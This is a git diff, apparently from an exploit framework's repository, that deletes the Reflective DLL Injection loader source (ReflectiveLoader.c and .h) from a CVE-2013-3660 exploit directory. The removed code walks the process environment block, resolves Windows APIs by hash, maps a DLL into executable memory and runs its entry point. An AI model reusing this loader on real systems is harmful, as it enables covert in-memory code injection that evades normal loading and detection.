current modules name (unicode string) - uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; - // set bCounter to the length for the loop - usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; - // clear uiValueC which will store the hash of the module name - uiValueC = 0; - - // compute the hash of the module name... - do - { - uiValueC = ror( (DWORD)uiValueC ); - // normalize to uppercase if the madule name is in lowercase - if( *((BYTE *)uiValueB) >= 'a' ) - uiValueC += *((BYTE *)uiValueB) - 0x20; - else - uiValueC += *((BYTE *)uiValueB); - uiValueB++; - } while( --usCounter ); - - // compare the hash with that of kernel32.dll - if( (DWORD)uiValueC == KERNEL32DLL_HASH ) - { - // get this modules base address - uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; - - // get the VA of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); - - // get the VA for the array of name pointers - uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); - - // get the VA for the array of name ordinals - uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); - - usCounter = 3; - - // loop while we still have imports to find - while( usCounter > 0 ) - { - // compute the hash values for this function name - dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); - - // if we have found a function we want we get its virtual address - if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) - { - // get the VA for the array of addresses - uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); - - // use this functions name ordinal as an index into the array of name pointers - uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); - - // store this functions VA - if( dwHashValue == LOADLIBRARYA_HASH ) - pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - else if( dwHashValue == GETPROCADDRESS_HASH ) - pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - else if( dwHashValue == VIRTUALALLOC_HASH ) - pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - - // decrement our counter - usCounter--; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - } - else if( (DWORD)uiValueC == NTDLLDLL_HASH ) - { - // get this modules base address - uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; - - // get the VA of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); - - // get the VA for the array of name pointers - uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); - - // get the VA for the array of name ordinals - uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); - - usCounter = 1; - - // loop while we still have imports to find - while( usCounter > 0 ) - { - // compute the hash values for this function name - dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); - - // if we have found a function we want we get its virtual address - if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) - { - // get the VA for the array of addresses - uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); - - // use this functions name ordinal as an index into the array of name pointers - uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); - - // store this functions VA - if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) - pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - - // decrement our counter - usCounter--; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - } - - // we stop searching when we have found everything we need. - if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) - break; - - // get the next entry - uiValueA = DEREF( uiValueA ); - } - - // STEP 2: load our image into a new permanent location in memory... - - // get the VA of the NT Header for the PE to be loaded - uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // allocate all the memory for the DLL to be loaded into. we can load at any address because we will - // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. - uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - - // we must now copy over the headers - uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; - uiValueB = uiLibraryAddress; - uiValueC = uiBaseAddress; - - while( uiValueA-- ) - *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; - - // STEP 3: load in all of our sections... - - // uiValueA = the VA of the first section - uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); - - // itterate through all sections, loading them into memory. - uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; - while( uiValueE-- ) - { - // uiValueB is the VA for this section - uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); - - // uiValueC if the VA for this sections data - uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); - - // copy the section over - uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; - - while( uiValueD-- ) - *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; - - // get the VA of the next section - uiValueA += sizeof( IMAGE_SECTION_HEADER ); - } - - // STEP 4: process our images import table... - - // uiValueB = the address of the import directory - uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; - - // we assume their is an import table to process - // uiValueC is the first entry in the import table - uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); - - // itterate through all imports - while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) - { - // use LoadLibraryA to load the imported module into memory - uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); - - // uiValueD = VA of the OriginalFirstThunk - uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); - - // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) - uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); - - // itterate through all imported functions, importing by ordinal if no name present - while( DEREF(uiValueA) ) - { - // sanity check uiValueD as some compilers only import by FirstThunk - if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) - { - // get the VA of the modules NT Header - uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); - - // get the VA for the array of addresses - uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); - - // use the import ordinal (- export ordinal base) as an index into the array of addresses - uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); - - // patch in the address for this imported function - DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); - } - else - { - // get the VA of this functions import by name struct - uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); - - // use GetProcAddress and patch in the address for this imported function - DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); - } - // get the next imported function - uiValueA += sizeof( ULONG_PTR ); - if( uiValueD ) - uiValueD += sizeof( ULONG_PTR ); - } - - // get the next import - uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); - } - - // STEP 5: process all of our images relocations... - - // calculate the base address delta and perform relocations (even if we load at desired image base) - uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; - - // uiValueB = the address of the relocation directory - uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; - - // check if their are any relocations present - if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) - { - // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) - uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); - - // and we itterate through all entries... - while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) - { - // uiValueA = the VA for this relocation block - uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); - - // uiValueB = number of entries in this relocation block - uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); - - // uiValueD is now the first entry in the current relocation block - uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); - - // we itterate through all the entries in the current block... - while( uiValueB-- ) - { - // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. - // we dont use a switch statement to avoid the compiler building a jump table - // which would not be very position independent! - if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) - *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) - *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; -#ifdef WIN_ARM - // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) - { - register DWORD dwInstruction; - register DWORD dwAddress; - register WORD wImm; - // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) - dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); - // flip the words to get the instruction as expected - dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); - // sanity chack we are processing a MOV instruction... - if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) - { - // pull out the encoded 16bit value (the high portion of the address-to-relocate) - wImm = (WORD)( dwInstruction & 0x000000FF); - wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); - wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); - wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); - // apply the relocation to the target address - dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; - // now create a new instruction with the same opcode and register param. - dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); - // patch in the relocated address... - dwInstruction |= (DWORD)(dwAddress & 0x00FF); - dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; - dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; - dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; - // now flip the instructions words and patch back into the code... - *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); - } - } -#endif - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) - *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) - *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); - - // get the next entry in the current relocation block - uiValueD += sizeof( IMAGE_RELOC ); - } - - // get the next entry in the relocation directory - uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; - } - } - - // STEP 6: call our images entry point - - // uiValueA = the VA of our newly loaded DLL/EXE's entry point - uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); - - // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. - pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); - - // call our respective entry point, fudging our hInstance value -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR - // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) - ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); -#else - // if we are injecting an DLL via a stub we call DllMain with no parameter - ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); -#endif - - // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. - return uiValueA; -} -//===============================================================================================// -#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN - -BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) -{ - BOOL bReturnValue = TRUE; - switch( dwReason ) - { - case DLL_QUERY_HMODULE: - if( lpReserved != NULL ) - *(HMODULE *)lpReserved = hAppInstance; - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - return bReturnValue; -} - -#endif -//===============================================================================================// diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h deleted file mode 100755 index b8eb22b0b1..0000000000 --- a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h +++ /dev/null @@ -1,202 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H -#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include -#include -#include -#include "ReflectiveDLLInjection.h" - -typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); -typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); -typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); -typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); - -#define KERNEL32DLL_HASH 0x6A4ABC5B -#define NTDLLDLL_HASH 0x3CFA685D - -#define LOADLIBRARYA_HASH 0xEC0E4E8E -#define GETPROCADDRESS_HASH 0x7C0DFCAA -#define VIRTUALALLOC_HASH 0x91AFCA54 -#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 - -#define IMAGE_REL_BASED_ARM_MOV32A 5 -#define IMAGE_REL_BASED_ARM_MOV32T 7 - -#define ARM_MOV_MASK (DWORD)(0xFBF08000) -#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) -#define ARM_MOVW 0xF2400000 -#define ARM_MOVT 0xF2C00000 - -#define HASH_KEY 13 -//===============================================================================================// -#pragma intrinsic( _rotr ) - -__forceinline DWORD ror( DWORD d ) -{ - return _rotr( d, HASH_KEY ); -} - -__forceinline DWORD hash( char * c ) -{ - register DWORD h = 0; - do - { - h = ror( h ); - h += *c; - } while( *++c ); - - return h; -} -//===============================================================================================// -typedef struct _UNICODE_STR -{ - USHORT Length; - USHORT MaximumLength; - PWSTR pBuffer; -} UNICODE_STR, *PUNICODE_STR; - -// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY -//__declspec( align(8) ) -typedef struct _LDR_DATA_TABLE_ENTRY -{ - //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STR FullDllName; - UNICODE_STR BaseDllName; - ULONG Flags; - SHORT LoadCount; - SHORT TlsIndex; - LIST_ENTRY HashTableEntry; - ULONG TimeDateStamp; -} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; - -// WinDbg> dt -v ntdll!_PEB_LDR_DATA -typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes -{ - DWORD dwLength; - DWORD dwInitialized; - LPVOID lpSsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID lpEntryInProgress; -} PEB_LDR_DATA, * PPEB_LDR_DATA; - -// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK -typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes -{ - struct _PEB_FREE_BLOCK * pNext; - DWORD dwSize; -} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; - -// struct _PEB is defined in Winternl.h but it is incomplete -// WinDbg> dt -v ntdll!_PEB -typedef struct __PEB // 65 elements, 0x210 bytes -{ - BYTE bInheritedAddressSpace; - BYTE bReadImageFileExecOptions; - BYTE bBeingDebugged; - BYTE bSpareBool; - LPVOID lpMutant; - LPVOID lpImageBaseAddress; - PPEB_LDR_DATA pLdr; - LPVOID lpProcessParameters; - LPVOID lpSubSystemData; - LPVOID lpProcessHeap; - PRTL_CRITICAL_SECTION pFastPebLock; - LPVOID lpFastPebLockRoutine; - LPVOID lpFastPebUnlockRoutine; - DWORD dwEnvironmentUpdateCount; - LPVOID lpKernelCallbackTable; - DWORD dwSystemReserved; - DWORD dwAtlThunkSListPtr32; - PPEB_FREE_BLOCK pFreeList; - DWORD dwTlsExpansionCounter; - LPVOID lpTlsBitmap; - DWORD dwTlsBitmapBits[2]; - LPVOID lpReadOnlySharedMemoryBase; - LPVOID lpReadOnlySharedMemoryHeap; - LPVOID lpReadOnlyStaticServerData; - LPVOID lpAnsiCodePageData; - LPVOID lpOemCodePageData; - LPVOID lpUnicodeCaseTableData; - DWORD dwNumberOfProcessors; - DWORD dwNtGlobalFlag; - LARGE_INTEGER liCriticalSectionTimeout; - DWORD dwHeapSegmentReserve; - DWORD dwHeapSegmentCommit; - DWORD dwHeapDeCommitTotalFreeThreshold; - DWORD dwHeapDeCommitFreeBlockThreshold; - DWORD dwNumberOfHeaps; - DWORD dwMaximumNumberOfHeaps; - LPVOID lpProcessHeaps; - LPVOID lpGdiSharedHandleTable; - LPVOID lpProcessStarterHelper; - DWORD dwGdiDCAttributeList; - LPVOID lpLoaderLock; - DWORD dwOSMajorVersion; - DWORD dwOSMinorVersion; - WORD wOSBuildNumber; - WORD wOSCSDVersion; - DWORD dwOSPlatformId; - DWORD dwImageSubsystem; - DWORD dwImageSubsystemMajorVersion; - DWORD dwImageSubsystemMinorVersion; - DWORD dwImageProcessAffinityMask; - DWORD dwGdiHandleBuffer[34]; - LPVOID lpPostProcessInitRoutine; - LPVOID lpTlsExpansionBitmap; - DWORD dwTlsExpansionBitmapBits[32]; - DWORD dwSessionId; - ULARGE_INTEGER liAppCompatFlags; - ULARGE_INTEGER liAppCompatFlagsUser; - LPVOID lppShimData; - LPVOID lpAppCompatInfo; - UNICODE_STR usCSDVersion; - LPVOID lpActivationContextData; - LPVOID lpProcessAssemblyStorageMap; - LPVOID lpSystemDefaultActivationContextData; - LPVOID lpSystemAssemblyStorageMap; - DWORD dwMinimumStackCommit; -} _PEB, * _PPEB; - -typedef struct -{ - WORD offset:12; - WORD type:4; -} IMAGE_RELOC, *PIMAGE_RELOC; -//===============================================================================================// -#endif -//===============================================================================================//